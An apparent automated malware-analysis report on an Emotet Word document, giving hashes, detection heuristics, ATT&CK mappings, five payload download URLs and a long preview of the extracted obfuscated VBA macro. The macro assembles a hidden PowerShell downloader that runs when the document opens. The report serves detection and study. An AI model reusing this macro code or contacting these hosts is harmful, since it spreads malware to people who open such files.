Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 48328a95ec2d865a…

MALICIOUS

Office (OLE)

302.5 KB Created: 2018-07-12 13:30:00 Authoring application: Microsoft Office Word First seen: 2020-07-02
MD5: 212074ebd48bcf95aa95d8c95c6f5c50 SHA-1: 350079bc5d37a34d27897676f2d1971747778d42 SHA-256: 48328a95ec2d865a508daacfbf6970e85c6145b26a68d6ab1c796dd1f492fe5d
232 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_open' macro is designed to execute a PowerShell command, which is obfuscated and attempts to download a payload from one of the embedded URLs. The ClamAV detection and heuristic firings strongly indicate this is an Emotet downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6958951-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6958951-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       SQtfUO = 84351 + JFAFw + dvwcpI * riokIZ - 16655 - hdjPf - WSDib * wGQEi
    iZWAZQkwVC = Shell(ictiUznJDGvwsn, 202156612 - 202156612)
       mpkdWE = 89635 + widqQ + pGTDC * CtqznR - 31883 - fbAfGc - QVqJnw * bUpzY
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.alcomputer.com.sg/2nzuQlNy/ Referenced by macro
    • http://www.bonsaiterapiasorientais.com/wjM/Referenced by macro
    • http://techsysplus.com/zkx/Referenced by macro
    • http://www.tulieucuocsong.com/NcFXmq/Referenced by macro
    • http://www.adimenportua.org/yi4yc/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39919 bytes
SHA-256: 684216f2601d2723b6d12e03d003a340c6c41855994047b98a1229900b475cf2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1528 of 1977 identifiers look randomly generated (e.g. 'KznGXsdRZuiYFS') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GrzhTXnzDzO"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   jHEmN = 59537 + SDPVmV * 57981 + WXJNd / oniths - rIUzC * sACrPb + wITqJY + (65497 + rQdWk)
   GHrLzi = 58409 + qNOEzJ * 39278 + EuImfD / qINwG - wINEw * wBHBFz + rzhsS + (16363 + rHTFlz)
   ArqcRc = 95420 + cwjphX * 25921 + UYvwO / kjlFc - BlIWb * aDEsTB + crhKvz + (29737 + uTMNO)
MvwEXjSV = Application.Run("LOjXRfB", "" + ZtfmQauvVk + HUfulinfTokI + aDrXWllAMM + bDvpbwOu + iJspMwmlwrj + TbzHpwOwEw + lFjJvLrnm + qAiNvpa + UTTXQV + ViCzlznUUE + frQpiwvZYI + oVMdbkT + VhoWcHah + WsZIUYlAZ + iAuPTBZVaF + qBjcFUL + DlmXZtE + AMXazsDofMbJQv)
   IfNFVj = 9205 + JQZVi * 50694 + dnMQdt / QzSiOa - OQNFN * ZBnKVN + QcCOj + (58086 + EpKNP)
   ZppHTz = 89337 + AEQTa * 51178 + tjsRvC / JbCzS - Hrnqwr * EPtjB + JZtck + (28581 + PicXd)
   POnnS = 58909 + vAMPUi * 38161 + zBvPrb / wDBjDU - FAqdb * nzWCj + VbqzL + (91794 + cpIRA)
End Sub


Attribute VB_Name = "bRklibNWvMZrH"
Function aDrXWllAMM()
On Error Resume Next
QfsVw = 77611 + WjVwlw * 16426 / jaTjLM + DvarT + Wjsva - 42995 * VCqcR
   wzTsz = alfmrm - mqPEX * UiZRzw + 26893 / 74262 + AvLYF / aTLIz * BHDiFB
vGtDI = "" + qMLDtWTHmUbEt + uEVUzzdBKZHQjk + "POW" + sIjNiPoZA + GazSHtFwXww + "ERS" + MLBdmGmXuFjwK + fQvUwVXaL + "helL" + XboTTtDsAWNLnt + LUPWwir + "  " + Chr(34)
AiIUp = 70911 * VmjLia + psRNrR / HafRL * vlCsj - MSOvY
USRwtCMzZ = "" + pBJFVkiZdi + zCtEcDdiukjrbL + ". ((" + bztCFtPFQa + XWHXbjXKZKS + "vaR" + HdERSdKWOwjl + GmnnCHDGXcMPso + "IAbL" + QiXUzPKowwlDJX + MpQXlXQOiAGb + "E "
lWTTi = Nuwrc - oFVzwA - 3677 - DDXfJ - OJqzJi / vLPkqo * 48261 * SsZvm - KsfDFa / ziwoKp / 76288 - EzhtQ
   GPGLcB = KzjWKD - KtDIC - 91696 - QvjzlU - srCVo / lQztz * 58028 * XBEnf - mtGdkN / QqTaMr / 64356 - RFhAV
   uwKLYj = OrsTB - VmNRIr - 1579 - wWjFws - wXmKz / wKTZp * 33305 * bchsq - AfrPsi / jwZdFb / 76307 - STFJD
MvOHEjijqb = "" + usSZqUUpnPw + EHufMWAkpTN + "'*" + IIbjmZdD + ZEvPdjppfv + "MDr*" + LLirDWrEY + jLLNEcXOWHkUbR + "')."
Bziii = uwQFvV - LszUI - 27399 - RVlMH - DGbrCa / AqFuWO * 95046 * OzzhC - LPkzS / DEfOR / 52329 - fnVZC
   GVmFw = QmCYlf - arrqr - 69828 - svLqc - NRdtYz / dAqcf * 2819 * mRCGd - Wanwih / wjLKv / 55229 - hzJJA
   bZBPL = MkbtEN - ZmdjPq - 61163 - zpjjC - rmItGp / uBmhS * 84486 * NESFi - duVctJ / FikVi / 18268 - VwTzzY
uICvwwLjpi = "" + rzwwaAsWawQU + jzzhMQRQw + "name" + kPlSIJM + icwLhFlN + "[3" + sWYhnAzrMNUa + zplHERoDVomDC + ",11," + HfDVOQiMhwRISA + EcINsUdIdvpAk + "2]-" + zNrFiQElXTdD + IWDkzibuZHmB + "jO"
TbdcnO = vavCX - qktPRU - 42291 - YlQkM - DokSh / MRwpA * 30489 * SNvHhb - kJfrVj / XupNs / 51493 - QGqdV
sjoNnaua = "" + nDOBZDHcii + YuIswAwpWHb + "IN" + pCGFiMZuLVbdU + PSKfjwhVwz + "'') " + GwBjbGMjAB + WjjMZhP + "( " + aaEwwYsIhIHzrS + ozXIXVNu + "\" + Chr(34) + " " + ANUwRiDa + wjfhTaTtPC + "$(" + mCkhsUVEM + nYfolqZuQlYN + "SeT-"
pozCU = IijaSL - qjFcLm - 94592 - JomiCq - NiOof / CjYCr * 59766 * IoFVZH - KLJMaI / jALUSp / 880 - ELijX
   hZUHT = UiQIvH - BVBNWj - 41588 - NiZqdr - trskuH / jsTouM * 33413 * LXhDPj - QJnSX / ruRpr / 69360 - ZPLMpX
   uhoJO = WCIab - jajwc - 69150 - swBzD - bVvLVN / wBWbwJ * 17537 * UsJPP - GwjOjF / sKsil / 62987 - zbqmMj
lzYkdutwIK = "" + HzTaJXF + otVWOzmHjFqd + "VaR" + cWDtBXDjj + ZRQiDVFzzznQbM + "Ia" + EDzraOkqEFiDVf + wcpjWdck + "BLe " + tQoFchIXwdj + LjZazrBiT + "'ofs" + UwXNdbaMFwU + wdzvzhi + "'  '" + JdzwCftkz + NliJvuXDXbW + "')" + XcUuFhmL + ptNjZuT + "\" + Chr(34) + vtoMwnzDKbFnmn + aKziSnOOhp + Chr(43) + " [s" + NwIDFavSiPVG + cktQCGbHwkU + "TrI" + HfafJXSpLSC + rUqLosYo + "nG]"
UQmJGF = XiOvnn - jMinn - 31905 - riqOH - nvcTp / AFPWOL * 69151 * uTTQE - hbcJkB / Mciwuz / 78726 - cGvGq
   UpUbD = WYOZK - jLSSio - 4899 - chaUMv - SMYKNt / HnpIzp * 81380 * TXjYF - KoMSo / amPzOI / 8470 - LpPzj
DaLIJX = "" + caqMzYNDlnp + YMrZvEVY + "( " + ollsiHmsBziMmb + BZLNbTF + "'36" + dXXlziHmjCbLf + zvnBdMaQwtDvMc + "k100" + jpEBkOGBPX + YApVqQO + "p10" + DSbCGZrwnvJ + uVbhLkommGmU + "6d65" + DhEvNnpcWcwdpO + bQsrFUuIFiq + "p61k" + MpiOboPiz + rRwwjhvZjKi + "110k" + ArjmvqjwwMK + PNaqtcURz + "101" + wZXiRMGhTF + EcmJMivFoLSS + "N11" + qRCBKBDOqWTBij + SKBcVNGTHnE + "9d" + kGEzSWofSvMj + QpLzLzLsIRFd + "45" + jtWzVhGP + MNRzAOo + "_1"
cpdwos = (65957 * rwnup * dvYYPK / 16660 * BbJmwi / stcIz)
   pKXwQj = (98920 * PjvLP * DWaDh / 7711 * hLnDP / RVjYf)
   GziEn = (23158 * RbHXS * BcqZlW / 93659 * CmBtzI / EKlruH)
frvsc = "" + POafECj + EwkAHOQra + "11k" + IwjsBWihj + zNDoIAXdB + "98S" + wjHfMJHPhFalrQ + ihUCDFpzWzTF + "10"
wkpNA = (1534 * WKYZTa * YcLXd / 36596 * wjYrtt / IOqBz)
LFIKKz = "" + wdPdwHWvcjifY + vczaADRVHHbN + "6S1" + YUNBifhHzWlZ + IOOlOcuZCnHmfH + "01S" + UtaMEORdqN + caoaRWNssqwTo + "99_1" + ZtvAawdCs + qtwlvAYGzb + "16p" + UJuQiiuHXFvr + NdowXwbsfTvHuz + "32" + CqbMarfiwXzs + wFBAnvRwDBGb + "I78" + UXjwMpDEQWT + GzAzjruVqFuKzQ + "S10" + ZGwOEOboAfLit + jSzLwDCWkjF + "1%11" + pmNZzRqPV + sYMzDjLcBZNsC + "6S46" + jXjOizk + NRmibwPLKDSarC + "N87_"
aDrXWllAMM = "" + XdcrbuL + iSjGdtIONlmudA + vGtDI + BhwmfrUQ + VHSWSGSo + USRwtCMzZ + jFhKKLdRjJuc + ZMNjPqzPvWXA + MvOHEjijqb + SfboHVbwAnbTN + CMthkwGtmZCj + uICvwwLjpi + LmKPnwAh + EGdMZFvctf + sjoNnaua + iTLtMmpP + GmpBRDaFjUGY + lzYkdutwIK + TtUhdZpoRBI + tmOsqPR + DaLIJX + XXnsCovYCFpja + IljwSVnta + frvsc + TVcQJLfbWwtl + sszCBXT + LFIKKz
   kEjUhW = (68747 * NsVVaw * wiBwvV / 28146 * IvZco / ZcNzZs)
End Function
Function bDvpbwOu()
On Error Resume Next
wFnSjt = (5032 * SwNFWW * YZVEa / 48161 * tvnnQ / WBEaW)
   bPWnz = (40123 * ANUCl * OuBhT / 43643 * MhRYp / KFqooC)
   sIDiH = (11170 * HjblC * sbzWH / 99255 * qLris / vJQrmj)
PlQSoD = "" + LdjJiIpwW + RhOPKTMO + "101d" + wzzSKDKYjASYzj + JrMWiuwiMdraiV + "98d6" + fWNjlqU + ZqcotjfsLJU + "7S10" + MEAOFhMkuKKO + WqMTXGrJDTu + "8_10" + LiSMUBuKIfWknt + fSZAIJBzpzv + "5N1" + BhUmnAC + pMwRNKpikNziXB + "01I1" + lCjTWXGBHH + wzssDhc + "10"
rvqJH = (24407 * vXdfAS * wVHcS / 12631 * JGLnjk / EbpZH)
   GpJOKY = (12359 * dTBfzt * vFJGE / 64428 * fWXcMq / nFtAIs)
pkREFtwsl = "" + HhqZcslEn + fkPAMMQKnqiM + "<1" + qNHipBqzrCYOH + kTokIQCqtnvb + "16" + WYVamlii + arhtNbwEDXCXub + "I59" + nXOrtZUnUi + VbHGuqKRiJdRp + "<36" + wHzitTOwHP + AWuYiYJ + "%7" + PwcDRpodtzB + WjUzJVG + "6N" + rMlJuok + fIziKWacdaUOS + "74<" + zzNDiPo + PFQRIvAtzEVtEo + "78<" + YhrjJmYfiKuajL + jzTFFJTiabONL + "61N3"
LsFJiz = odjljz / ZMnbi / 25354 * 9501 * PsPNJ / 12658 - XKTYPj - aBuukK / 80388 * UZWhA
lhGcWNCQ = "" + hwqqcNuVnoGF + LiRrlmhkc + "9%10" + qYqqbGTwYmb + FNHZGwDjDCOnQ + "4p11" + oEzUvLmpDiM + JwfjJYmYiIdjr + "6_11" + VcDKzqHUpHdjT + uuNPaGW + "6_1" + sWEKwToEQwT + BlwBcqcjsSA + "12f" + jSbUjzwZS + zXWTZPUEdTsc + "58_4" + ijCzzDDjij + vSUcBjJKDEU + "7k4" + cwwztqqI + SwcSXiO + "7p11" + zwTBjASJSIUZ + pWEHlpsfTzQCj + "9S" + mbpPiLKJw + bhXzbcFDmvSacz + "119" + cUkhTusjh + ihfNHvoN + "N1" + UYowdlUT + QoshoMii + "19d"
rSwSbV = iLfol / LIwwlp / 16833 * 46313 * jStpo / 94821 - vRKhV - CbWUH / 56827 * IVYiGh
   umSYq = GtfZbj / Damdj / 80241 * 16709 * HIqVci / 15048 - IMCAp - TFHpwP / 30377 * NpOnf
   QsoYRi = dYlhKJ / OiEMu / 12409 * 38564 * RiflF / 20466 - OiGYjf - VIEmQ / 96492 * iaSdsH
Sbddvm = "" + JRlindcCNtwjWM + UPGhVustjhvB + "46" + CIfICkOKApcEb + jCAQiSQtz + "_97k" + ZswGibvZq + OJnUJOQ + "108_" + SpbzivkcV + jioLWMuHB + "99%1" + MbioqdK + cuNvjQA + "11k1" + rSDEbUjVbzwU + IQcAOpF + "09f1" + NkmmRscGL + KqwIzNFUCM + "12" + TqFfHPmlhkAq + hSdzrkBntRRUA + "k117" + kEGBCSvMMVqZ + apInKfmqDUaff + "_1" + NmPkAwfuoRWmG + BLUzTcIjqVw + "16%" + laXmzYz + pjruvTVotja + "101N" + PKjiLEFZP + dJOujoh + "11"
aVoHYj = LBbRUc / KNGTN / 89830 * 54655 * ZdpRm / 9993 - FEwIdt - WYGiPu / 45308 * kiBrEh
   UWSXw = RHujj / XTLwYQ / 82469 * 65422 * ifhil / 86946 - PuAuc - ilKVzL / 12871 * jfKbQR
fslSdlVF = "" + oquJlrltL + rzjpTppZ + "4S46" + SibNwzW + blMcMEiZsu + "N99_" + muwHkwVIbbw + VLTvmsOqq + "111" + iXWlkPzfNa + iGOCButAozMq + "_109" + dFBLmwFXc + jXLiRBpobo + "%46"
zADzhM = MuXNT * modbv / (KRDzkN + iBibW / ijvWw - tcLzE)
   pMvwo = hLfsVm * dCokiH / (CcSXiV + vXCRa / hMwrzQ - vBuqBZ)
iRmdD = "" + YIMQPGbcWwDSjM + iSBDlirRiH + "p11" + zSwdwQvZoR + hFNzSfkhw + "5I1" + mSiLuRvmIE + EzaUTQEjMFl + "03_" + RszwWUXJwLL + BIsfELb + "47S5"
BsLQQ = JJjhMf * Ywnlji / (HmPFP + wnjBZ / EIrGnG - dAnfi)
pjDljVw = "" + jwsTctHBPd + AzVcfHS + "0k" + hpzffFTTGl + rMrniwAwGcdhE + "110" + fLzWjzDBHso + oiIsDLJliozKS + "f12"
SVautD = FXpla * jiinlE / (BawNn + jfzIw / HsaYT - czALv)
   Vmjml = nwaks * MGZXf / (PrSSw + JKjIF / piwCS - zsMvKW)
   FLSab = oIHOS * nKjvtA / (HYUld + tuBWCL / Spwva - UPzZA)
DFRsUvt = "" + BHADcVDjIsCq + affrXuNYJnr + "2I11" + wTjvlnYIDjFch + qJQrYPlQffJNUd + "7<" + LEhGMczR + UXzZOqI + "81d" + zXAzYKDAPbaE + UuXzfmO + "10" + oWuNQGQSEFvzoK + wJbipbzp + "8d7" + fqqdcTnYLcd + uwJWzjIfjSqj + "8f12" + dKMYFvlaacacc + zcjzXjjfF + "1_47"
JzwYA = AjJOzD * BATYh / (XHwOkq + kEGui / aAmli - bjbwz)
lszBuBkBpzZ = "" + JzWMLwKazK + hqKvZPjr + "N6" + OOoWFOvKwM + AmitjfzzC + "4k1" + TTkWfXk + vmjHYotv + "04p1" + LYbQpXNfjEudT + VDUsPnOtb + "16" + CaVvmBUPQ + DvwSrEONRSwtC + "S1" + DPzziztbUn + StIEWmizZtzv + "16f" + OEvGjTJNwFQ + rKUdiiSwUJOaHY + "112N" + KRDmzlofOHqbEu + DpmpFPSNrjtvh + "58" + uYOnnNjzGV + XsrrZGaWR + "d4" + tuwpvPstziivDp + aXrjTQAvV + "7<4" + ToHIHIbVsoXki + rjpwoCSrzza + "7f1" + cuDUvXYFqZa + TOaDmJRrZTG + "19S1"
zwcVY = rOwFw * MvQOOp / (oIEbS + TpUZk / ocvPS - PiNFj)
   acVVdW = lrAst * JGFXX / (NwICQf + CwKKjb / zrlzU - DXXwcD)
   oBwIJ = CzswlD * KpWBGO / (NjERv + QokDa / vkjXIh - tkcaP)
RpcHB = "" + JZphqZj + FpfTOahQQbZ + "19f" + HDjlqZLZMI + pkVBksRZLrfLjI + "119d" + LnvVkoSmB + HGAtjcUYpLPf + "46<" + rIPXVCic + YNhOBSjAf + "98%1" + TLwziPjH + IMNsfCOfDBiKmU + "11N" + FXWcOzZzYzRYnm + sRQATVVQUU + "11" + fIZijmJL + iInQTikpsQC + "0%1" + UDScjBGHt + RQYnsAcnk + "15" + INDCnficMFWq + NKaJiTolVwD + "f97"
bDvpbwOu = "" + zrnPZAlvFZhObd + MvZUMfqC + PlQSoD + wvXsFwc + kYqwqSfIlsuD + pkREFtwsl + ZJCdqlSBll + qYMTilt + lhGcWNCQ + mVwiBhWFJiDI + jCUmwPjmEdpcHv + Sbddvm + IJupnnDv + vvcCPsS + fslSdlVF + ROwzjzAQUtZ + ozZtOiKvwZw + iRmdD + nKCOwJjSzv + NsnWiBPi + pjDljVw + ccWijQhS + FMJpOGw + DFRsUvt + IoDPjAqXZPXiNz + ZsSZPkhGJHAi + lszBuBkBpzZ + cEzkLSZN + ttICRRrNdHp + RpcHB
   piYHzG = 48993 / 99775 + ZSnSj - nOJLCo
   ciprP = 75248 / 9552 + RNZKGn - bGPdl
End Function
Function iJspMwmlwrj()
On Error Resume Next
wiPaO = 96345 / 57735 + qJJwd - OJMDi
zmCqhlzmc = "" + YWzDhFnKvAmOq + MqsnCjB + "N105" + hUrFQilopFJta + YYfOIJOQG + "k116" + MqNXJXY + MNhuMOzZlz + "N10" + fbOdEmohSDlw + vbRwlURnEL + "1_" + BuLofGBOhOwu + kbEJbkdrTWIp + "11" + UrXCmTluVdYiu + jcXrAjqjukGHJ + "4f9"
jptOup = 83528 / 92562 + lzqFa - wpaEmt
   MDdIcS = 62543 / 22070 + Tjzikj - zpjPG
PaiSmu = "" + IJnQhFowvshL + OdaZXWZdCLJS + "7I11" + NVrKKrzSiPiWik + DVrQaCojiWMiH + "2S1" + PzriZBXA + wwLvAspbMIoa + "05I" + KjKfniUKCI + mBcojURidD + "97p1" + iiXDvTToJVYs + NuNlwCjcFnzXc + "15f" + HsGCYBIH + jpaORdjzp + "111" + VsHbECZjDX + fBdRpSpEnvVMNG + "S114" + KPanMlmzwbUzj + srpuNnLtf + "I105" + kZWuOwo + nzEnuPdTOz + "f101" + PidVXLAAzW + JBNdDNVKwzZvm + "k110"
iJspMwmlwrj = "" + wKsfhJi + tZqnokZRCQisB + zmCqhlzmc + AcjWPIiiW + qHrMibj + PaiSmu
   iXiVNa = 15198 / 84791 + XHwKc - FcLFhL
   bmuRa = 81039 / 74027 + MfQld - KIpBqM
   FfiMH = 2929 / 29975 + oYnDGi - IhBjU
End Function
Function TbzHpwOwEw()
On Error Resume Next
qBLSDP = 63382 / 40324 + VXjOnO - knlrrw
   cphTod = 57274 / 18282 + mnKvjM - HDJij
VTDaQ = "" + TTwhIZBsbZ + iNjArOrcz + "_116" + BaajoorDalMAV + AQkviWtwcuWIqU + "d9" + VQfwGipNEkV + VNLVvNbsDUR + "7%" + zpRfBiQJqkp + SbWrwBdWHjLnu + "105<" + jSvOoikzwYjm + fcWnFvAWM + "11"
fFqJF = GbhaYo * uKhcZT + OiDcD + zpMiNF / 50931 / JZuqqf + (LRsGov * uNYwtF)
WQwtmXLSY = "" + OFQtQOz + Ncllnljom + "5N4" + KVPuFuzKQ + zIXjlZlLwR + "6N99" + bSIJZmMFTwnqs + nWPowHticN + "d1" + JCaGvfh + zlZYEGBzUhn + "11I" + wphdjji + vSlDCsrsLLC + "10"
lpQsAr = HjUFGE * ZRwBFm + pHmBE + HcWct / 14928 / ErMrj + (IXPzfw * HSaOKw)
XEwiNsSms = "" + idqwiYfKsMwwji + UPitaJH + "9S4" + CoCHSwz + IjAkHjsF + "7<" + zBakVJphd + YWmqjjcCaP + "119" + XZVFkHuB + nGEbEhw + "<1" + VFnjMOtbz + fDwoCKz + "06k7" + ZjdAUif + fvEzAiH + "7_" + JrqfulSYkIPZt + YpmcnPiiHWUTzh + "47d" + hSVqMNuorh + WWfmOKZLriwafI + "64" + aRVqhohG + hKvwkFTfLlriF + "_10" + rcCVvLEi + ZLEQioZOX + "4f1" + PttrGzwwR + jiqLfkcf + "16" + KkLuOPcwSTi + ciIioMHjTVNcW + "%1"
uniwX = jOukfA * OOVpnU + rDvYsr + VXSPQK / 55220 / zvlTa + (IipCvh * PwHuj)
   JolrB = FJizsj * BzYib + NcWFoT + zrPwR / 84776 / FmdiqH + (WZahv * niTwiB)
EEtGasVa = "" + rKDjzOrcUOpSD + DUtEiYGVwKH + "16" + KVjHHTIkhm + RCUoGPVA + "f1" + ZnwmSlp + rISRzihKjH + "12I5" + hSrRVlhqul + HvwJUBW + "8S47" + RjEzkVJYEms + rVGVwzHQbGCQ + "<47S" + iYpiktu + nRkQXSpzMSZE + "116" + zEWnKpc + aRbzPDIomamT + "d1" + jkwlHpwk + WqdNGkbG + "01" + KwwSavEimdoj + nDMEVLkpSUdYa + "k99" + CzjhUBlofKLl + VSnvlaCYWkZwUj + "S1"
TbzHpwOwEw = "" + CVJvkiIBarBOj + aQrwCqco + VTDaQ + ddwHWjEMrHq + NrJlVtYosc + WQwtmXLSY + idkZzZjoQGBMtE + BomTwsdEtFHvwr + XEwiNsSms + WInDUnt + nHGqwsRi + EEtGasVa
   YImwqF = RjfdYX * nqadT + oGuol + BlXrF / 78490 / WjZXTQ + (bXXVlz * OzAid)
   DqGBqz = jsSlsZ * AqlQH + OvEJKk + OwMpM / 40088 / hKQHz + (oHAPY * ilqFHA)
End Function
Function lFjJvLrnm()
On Error Resume Next
ROzLa = rtsZo * BnOSGN + cRiZCl + nnXMcH / 24055 / PLaIq + (jdfvzL * bjiYQ)
hQVZNYBZp = "" + ipuZhQDWjzhbp + rzWnsnD + "04<1" + aXMEpnL + ThWjjIXjG + "15I1" + QjjDjqatSDFiLp + DwjslfLV + "21k" + LOOQLhDfoqqI + NSjMOCLqjzUiaH + "11" + YKNziLiCsXbf + UuZhiSww + "5%"
WiTww = jSMrw * GHdtzr + XlhPm + wBcuJk / 46728 / ARzIbn + (TsZoBU * wZNFz)
   qdEnW = OTaQs * VvKVaa + ZwTuk + aHfAOY / 92447 / Onjcaj + (CLlfwL * FDGFoX)
   VUiRvd = wTESf * ZUCnhU + bfqadZ + sctoZ / 5819 / dKjNGO + (iMvqo * ANcfPd)
oiiErfbm = "" + pThVzMGYDGY + qfkYDhE + "112" + akIYDCjD + YXciaGnSM + "_1" + hdWRHtcjtd + hszMaIEszTKZ + "08S" + BJRPOsalt + HwIEWtjHould + "11" + KHaXNSzh + SOiPYIvzqaTMv + "7k" + abRvTQfYCDk + fooaDQlIO + "115" + fzlnTtzMmvmq + ZbmqbLoIhUBl + "d46%" + iCUMHiPU + EIGYMSszIndpw + "99N1"
IvWRRl = (65633 / ohkba - zWFwum * FPwPb / cFfoE - ZzntD)
PVRjbzGPtRW = "" + IRqcrSOLQY + iTCfaBq + "11<1"
uItfY = (2078 / KdBinQ - nZTXI * RpHvAY / zHSBX - QNJzz)
   kJzhCM = (45016 / jdHIzS - WtzbV * CPLld / ZpfWDQ - tqwEA)
   fAmWL = (30848 / IPFGd - qnFBzi * vmCKA / Nzzic - ErLRC)
BfzZFwYfhH = "" + iVpVcDlVST + jiulwYbwA + "09" + EsmYcXoz + jXtVPAhnTNCcB + "k47" + wMHbXfSa + dqiJzdWzWCKB + "I1" + XuKhqEbqHNjL + FNNzijlKCi + "22<" + jffbAuwaDdUl + KmiQdmwA + "107S" + pNWjvNrj + YvLjMlP + "120"
ctbMU = (48919 / clAjnf - WmnXPi * lobikO / BErXqi - PNACH)
   GfbSsI = (78448 / ZNzbbr - AikKY * hJMzzX / YnVIi - fIzLs)
utrTjvRFE = "" + idXOGYJM + wYLYWOVvk + "_4" + lsrtWMwAXr + TCfpiqzzMVDM + "7d" + GmlqwVFlsljVkL + uarmsWqY + "64S" + kjJQoij + JPjvjjh + "104f" + JMFnkAadVXCkwM + kWccwBmIGDwNf + "116k" + KMwPaww + pLJMZVNC + "116d" + wKFhzHa + jENwOQrXzwdt + "11"
Tnlsa = (66509 / qtkcIv - fwIzB * SDcMv / izNFAJ - mluLO)
   zpKcW = (10979 / msBod - YEPKZz * AmcnkS / JUkmtA - Rctzqp)
ZjSKKRMB = "" + MRXRmiV + RUOKMXsDILSH + "2_5" + dEHbWKjIEEhQWM + awBAbfYG + "8k47" + HmjOdzzWuN + wYDJQKc + "f47" + fCzkTGO + jALADwbpakTASn + "I1" + AcwSOOdUVb + dKqiCwjiuzVH + "19" + kscAMPRQTdS + SWrfbMrLQukz + "<119" + AaCHpkoi + VPURNqMQBNOIC + "%11" + uqOTwsCqIQpQWc + okAKMsawZhTvIs + "9N" + kOvuZKnzSY + YaqnlTa + "46p" + HhCQQuQ + hPYRfIhW + "116" + zBrnfZZzqfK + UWdjtdJPW + "S11" + qwcGuiGO + aAPtWqqvaswszD + "7I10"
lFjJvLrnm = "" + bosLOaa + iwTEHZvqWuVNnW + hQVZNYBZp + UwhPwzYKs + Wmhzajwnu + oiiErfbm + STABbJaonRFtu + QwjXIMAHZEouv + PVRjbzGPtRW + jsuidOPzYPkDU + tnVhTwEWP + BfzZFwYfhH + LbzmOfKwi + QAiBAKIXJjIIKB + utrTjvRFE + KsiVfALCn + AFtXQDvXUCSz + ZjSKKRMB
   oismW = knwRz / czoHp - 84594 * jmLtc * (ZSzMIu + vinjV * lNVTJB / OFQnkw / WujdlP - zFlaqW * TuJHlD - LNTCr)
   rTlDS = lpRzDE / SPobNA - 48957 * SPIrE * (dELsv + GojazV * zLotT / McHja / wUHZE - LNXHlF * ISkdi - brnZw)
   TCLcJM = BzKvGw / IjsTfw - 91172 * Gfwvb * (jPbtY + dDZwj * zSvzM / FRCiaj / uoHvj - OldUjj * hvKFK - mVzdQH)
End Function
Function qAiNvpa()
On Error Resume Next
FbuWf = uGpsZK / lviZdJ - 55662 * QczaBm * (QcDiL + EUvJXr * ZUAWq / jcMTzJ / Rowuv - AapMpr * FhajPF - DMvcd)
   JICpsh = OWHtUR / WzLPL - 95531 * HzUfw * (zLrnNK + bVSur * EjozR / VwbjEs / VjBLi - vpfDi * fJswA - RYqscT)
   GrEIE = pNPVA / urzjI - 21106 * sozBdD * (rTFtWR + VtjkD * SJrRFi / LaDcn / zrTHq - EKhVIW * iBYzQz - ZNjwh)
OPMVC = "" + iQPcFFU + msJzakn + "8d" + FABmdndjrjIWat + cQGjQtO + "105p" + LXpFzcvNlq + vnbzWOkLjLzcvz + "10" + DiMmUPSQndrH + pDmDhcij + "1f1" + dUqzYNJCIOK + HifVLMsWdzY + "17" + prQrCWkjIAZSsZ + wwziYfYBHSUBI + "S99" + RccYRmRLoV + iGCTmYhfAaoXKS + "p1" + kCiXJiHpPBCC + JMajuuFwidbU + "17p" + oENwXhbmnapzw + kVfzORb + "111_" + YTdlTEwoKQB + DizLWZzquwtvz + "99d1"
KczXIC = UFErzM / tGjucW - 14074 * qFTYK * (ICVXW + AhzYYQ * chZrl / uwmHiZ / jGlrE - rbMCjU * YcLHHW - LfXRN)
   XGZNHk = DDpSii / phLsw - 33906 * zCuBz * (dXkqVw + RDrnD * dbvVE / UpFPiC / qvZDi - KzwjT * wmijlq - psoZB)
